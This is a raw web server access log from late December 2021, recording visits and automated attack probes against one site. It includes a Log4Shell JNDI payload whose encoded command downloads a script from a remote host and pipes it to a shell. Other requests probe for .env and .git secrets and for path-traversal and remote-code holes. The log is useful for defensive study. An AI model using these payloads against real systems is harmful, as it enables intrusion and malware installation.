[29/Dec/2021:01:22:58 +0100] 77.74.177.119 TLSv1.2 AES256-SHA "GET / HTTP/1.1" 301 [29/Dec/2021:01:34:22 +0100] 195.54.160.149 TLSv1.2 AES256-SHA "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC84Ni41OS4xMTMuMTAyOjQ0M3x8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC84Ni41OS4xMTMuMTAyOjQ0Myl8YmFzaA==} HTTP/1.1" 435 [29/Dec/2021:01:37:41 +0100] 40.77.167.42 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" 304 [29/Dec/2021:02:56:24 +0100] 34.86.35.19 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" 393 [29/Dec/2021:04:52:56 +0100] 131.220.6.152 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" 295 [29/Dec/2021:04:59:11 +0100] 138.246.253.24 TLSv1.2 AES256-SHA "GET /robots.txt HTTP/1.1" 393 [29/Dec/2021:05:17:23 +0100] 103.203.57.29 TLSv1.2 AES256-SHA "GET / HTTP/1.1" 301 [29/Dec/2021:05:32:58 +0100] 183.136.225.9 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" 383 [29/Dec/2021:05:33:25 +0100] 183.136.225.9 TLSv1.2 AES256-SHA "GET /robots.txt HTTP/1.1" 308 [29/Dec/2021:05:57:28 +0100] 109.237.103.118 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET /.git/config HTTP/1.1" 310 [29/Dec/2021:05:57:30 +0100] 109.237.103.118 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "POST /.git/config HTTP/1.1" 310 [29/Dec/2021:06:59:32 +0100] 193.106.29.210 TLSv1.2 AES256-SHA "GET / HTTP/1.1" 301 [29/Dec/2021:07:44:40 +0100] 54.36.149.25 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET /robots.txt HTTP/1.1" 304 [29/Dec/2021:07:44:42 +0100] 54.36.148.49 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" 297 [29/Dec/2021:07:57:34 +0100] 185.162.235.164 TLSv1.2 AES256-SHA "GET /api/productConfig HTTP/1.1" 315 [29/Dec/2021:08:44:10 +0100] 35.195.93.98 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" 301 [29/Dec/2021:09:37:38 +0100] 192.241.215.49 TLSv1.2 AES256-SHA "GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application HTTP/1.1" 348 [29/Dec/2021:09:46:36 +0100] 192.241.211.132 TLSv1.2 AES256-SHA "GET /owa/auth/logon.aspx?url=https%3a%2f%2f1%2fecp%2f HTTP/1.1" 335 [29/Dec/2021:10:22:49 +0100] 54.36.149.4 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET /robots.txt HTTP/1.1" 302 [29/Dec/2021:10:22:50 +0100] 54.36.148.119 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" 295 [29/Dec/2021:11:06:36 +0100] 40.77.167.42 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" 304 [29/Dec/2021:11:25:55 +0100] 35.86.237.90 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "" 379 [29/Dec/2021:11:26:15 +0100] 35.86.237.90 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "" 379 [29/Dec/2021:12:48:57 +0100] 195.54.160.149 TLSv1.2 AES256-SHA "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 331 [29/Dec/2021:13:08:21 +0100] 192.241.213.196 TLSv1.2 AES256-SHA "GET /actuator/health HTTP/1.1" 310 [29/Dec/2021:14:32:40 +0100] 195.54.160.149 TLSv1.2 AES256-SHA "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 327 [29/Dec/2021:14:35:36 +0100] 185.191.32.158 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET /remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession HTTP/1.1" 341 [29/Dec/2021:15:13:48 +0100] 128.1.248.26 TLSv1.2 DHE-RSA-AES256-SHA256 "GET / HTTP/1.1" 301 [29/Dec/2021:16:16:20 +0100] 195.54.160.149 TLSv1.2 AES256-SHA "POST /mifs/.;/services/LogService HTTP/1.1" 318 [29/Dec/2021:16:18:49 +0100] 109.237.103.38 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET /.env HTTP/1.1" 304 [29/Dec/2021:16:18:50 +0100] 109.237.103.38 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "POST /.env HTTP/1.1" 304 [29/Dec/2021:16:43:21 +0100] 195.54.160.149 TLSv1.2 AES256-SHA "GET /console/ HTTP/1.1" 307 [29/Dec/2021:18:02:47 +0100] 195.54.160.149 TLSv1.2 AES256-SHA "GET /_ignition/execute-solution HTTP/1.1" 319 [29/Dec/2021:18:28:39 +0100] 192.241.196.36 TLSv1.2 AES256-SHA "GET / HTTP/1.1" 301 [29/Dec/2021:18:33:58 +0100] 156.146.50.181 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "OPTIONS / HTTP/1.1" 301 [29/Dec/2021:18:46:04 +0100] 128.14.141.34 TLSv1.2 DHE-RSA-AES256-SHA256 "GET / HTTP/1.1" 301 [29/Dec/2021:19:19:40 +0100] 178.239.21.103 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET ///libs/js/iframe.js HTTP/1.1" 313 [29/Dec/2021:19:21:33 +0100] 162.142.125.193 TLSv1.2 AES256-SHA "GET / HTTP/1.1" 301 [29/Dec/2021:19:23:48 +0100] 195.54.160.149 TLSv1.2 AES256-SHA "GET / HTTP/1.1" 301 [29/Dec/2021:19:41:16 +0100] 23.251.102.82 TLSv1.2 DHE-RSA-AES256-SHA256 "GET / HTTP/1.1" 301 [29/Dec/2021:19:46:51 +0100] 195.54.160.149 TLSv1.2 AES256-SHA "GET / HTTP/1.1" 301 [29/Dec/2021:19:49:53 +0100] 83.136.32.58 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "HEAD / HTTP/1.0" - [29/Dec/2021:20:45:33 +0100] 195.54.160.149 TLSv1.2 AES256-SHA "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1" 293 [29/Dec/2021:21:07:57 +0100] 195.54.160.149 TLSv1.2 AES256-SHA "GET / HTTP/1.1" 301 [29/Dec/2021:21:19:36 +0100] 139.162.203.18 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" 301 [29/Dec/2021:22:07:39 +0100] 208.100.26.249 TLSv1.2 AES256-SHA "GET / HTTP/1.1" 297 [29/Dec/2021:22:08:29 +0100] 213.238.178.239 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET /js/app.js HTTP/1.1" 302 [29/Dec/2021:22:08:29 +0100] 213.238.178.239 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "POST /js/app.js HTTP/1.1" 302 [29/Dec/2021:22:15:12 +0100] 195.54.160.149 TLSv1.2 AES256-SHA "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC84Ni41OS4xMTMuMTAyOjQ0M3x8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC84Ni41OS4xMTMuMTAyOjQ0Myl8YmFzaA==} HTTP/1.1" 435 [29/Dec/2021:23:06:44 +0100] 137.226.113.44 TLSv1.2 AES256-SHA "GET / HTTP/1.1" 308 [29/Dec/2021:23:55:24 +0100] 51.15.251.143 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" 397 [30/Dec/2021:00:05:55 +0100] 51.15.205.3 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" 397 [30/Dec/2021:00:06:36 +0100] 83.136.32.58 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "HEAD / HTTP/1.0" - [30/Dec/2021:00:32:14 +0100] 192.241.211.160 TLSv1.2 AES256-SHA "GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application HTTP/1.1" 348 [30/Dec/2021:00:34:55 +0100] 192.241.195.166 TLSv1.2 AES256-SHA "GET /owa/auth/logon.aspx HTTP/1.1" 314 [30/Dec/2021:00:35:13 +0100] 192.241.207.72 TLSv1.2 AES256-SHA "GET /owa/auth/x.js HTTP/1.1" 310